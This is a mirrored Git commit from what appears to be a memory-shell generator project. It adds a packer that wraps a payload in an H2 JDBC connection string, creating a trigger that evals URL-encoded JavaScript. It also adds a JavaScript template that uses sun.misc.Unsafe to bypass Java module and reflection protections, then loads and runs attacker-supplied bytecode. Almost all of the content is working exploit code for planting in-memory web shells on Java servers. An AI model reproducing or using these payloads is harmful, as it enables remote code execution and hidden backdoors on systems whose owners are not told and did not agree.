mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: add scriptEngineBypassModule packer
This commit is contained in:
@@ -17,6 +17,7 @@ import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
|
||||
import com.reajason.javaweb.packer.groovy.GroovyPacker;
|
||||
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.h2.H2JSPacker;
|
||||
import com.reajason.javaweb.packer.h2.H2JSURLEncodePacker;
|
||||
import com.reajason.javaweb.packer.h2.H2JavacPacker;
|
||||
import com.reajason.javaweb.packer.h2.H2Packer;
|
||||
import com.reajason.javaweb.packer.jar.*;
|
||||
@@ -172,6 +173,7 @@ public enum Packers {
|
||||
H2(new H2Packer()),
|
||||
H2Javac(new H2JavacPacker(), H2Packer.class),
|
||||
H2JS(new H2JSPacker(), H2Packer.class),
|
||||
H2JSURLEncode(new H2JSURLEncodePacker(), H2Packer.class),
|
||||
|
||||
Jar(new DefaultJarPacker()),
|
||||
ScriptEngineJar(new ScriptEngineJarPacker()),
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
package com.reajason.javaweb.packer.h2;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.net.URLEncoder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/28
|
||||
*/
|
||||
public class H2JSURLEncodePacker implements Packer {
|
||||
String template = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\neval(decodeURIComponent('{{script}}'))$$";
|
||||
|
||||
@SneakyThrows
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
String encode = URLEncoder.encode(script, "UTF-8")
|
||||
.replace("+", "%20")
|
||||
.replace("%28", "(")
|
||||
.replace("%29", ")");
|
||||
return template.replace("{{script}}", encode);
|
||||
}
|
||||
}
|
||||
+6
-1
@@ -7,11 +7,16 @@ import lombok.SneakyThrows;
|
||||
|
||||
public class DefaultScriptEnginePacker implements Packer {
|
||||
private final String jsTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngine.js");
|
||||
private final String jsBypassModuleTemplate = Util.loadTemplateFromResource("/memshell-party/ScriptEngineBypassModule.js");
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return scriptToSingleLine(jsTemplate
|
||||
String template = jsTemplate;
|
||||
if (config.isByPassJavaModule()) {
|
||||
template = jsBypassModuleTemplate;
|
||||
}
|
||||
return scriptToSingleLine(template
|
||||
.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str()));
|
||||
}
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
var base64Str = "{{base64Str}}";
|
||||
var className = "{{className}}";
|
||||
var clsString = java.lang.Class.forName("java.lang.String");
|
||||
var bytecode;
|
||||
try {
|
||||
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
|
||||
} catch (ee) {
|
||||
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
|
||||
}
|
||||
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
||||
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
|
||||
theUnsafeMethod.setAccessible(true);
|
||||
unsafe = theUnsafeMethod.get(null);
|
||||
var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
|
||||
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
|
||||
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
|
||||
var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
|
||||
if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
|
||||
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").newInstance());
|
||||
}
|
||||
var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes();
|
||||
var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null);
|
||||
var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData");
|
||||
unsafe.putObject(java.lang.Class.forName("java.lang.Class"), unsafe.objectFieldOffset(reflectionDataField), null);
|
||||
var clsInt = java.lang.Integer.TYPE;
|
||||
var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
|
||||
var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers");
|
||||
unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001);
|
||||
var cc = defineClassMethod.invoke(new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0), java.lang.Thread.currentThread().getContextClassLoader()), bytecode, 0, bytecode.length);
|
||||
cc.newInstance();
|
||||
|
||||
Reference in New Issue
Block a user